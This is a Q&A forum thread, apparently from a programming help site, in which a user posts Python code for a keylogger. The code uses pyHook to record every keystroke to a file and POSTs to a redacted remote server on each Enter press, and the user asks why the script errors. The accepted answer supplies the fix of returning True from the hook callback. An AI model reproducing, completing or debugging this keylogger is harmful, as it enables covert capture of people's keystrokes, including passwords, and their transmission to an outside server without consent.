Python keylogger: an integer is required

446 views Asked by At

I am trying to make a keylogger that sends text to a webserver. Using pyHook, and httplib2, I was able to successfully make them work separately. However, when I try to combine the two, I get the error:

An integer is required

I honestly have no idea why this is caused. Both functions work by theirselves, so why can't I combine them? Any suggestions?

Thanks!

import pyHook
import pythoncom
import time
from httplib2 import Http
from urllib import urlencode

h = Http()

log_file = "control.txt"        
message = ""
f = open(log_file,"a")
def pressed_chars(event):
    if event.Ascii:
        global message
        char = chr(event.Ascii)
        if char == "q":
            f.close()
            exit()
        if event.Ascii == 13:
            f.write("\n")
            data = dict(cmd="openurl")
            testVar = h.request("http://www.**********/submit.php", "POST", urlencode(data))
            message = ""
        f.write(char) 
        message = message+char
        print(message)

proc = pyHook.HookManager()
proc.KeyDown = pressed_chars
proc.HookKeyboard()
pythoncom.PumpMessages()  
1

There are 1 answers

1
Russell Teapot On BEST ANSWER

It seems you are not returning True in pressed_chars . Try adding the line return True and see if it works!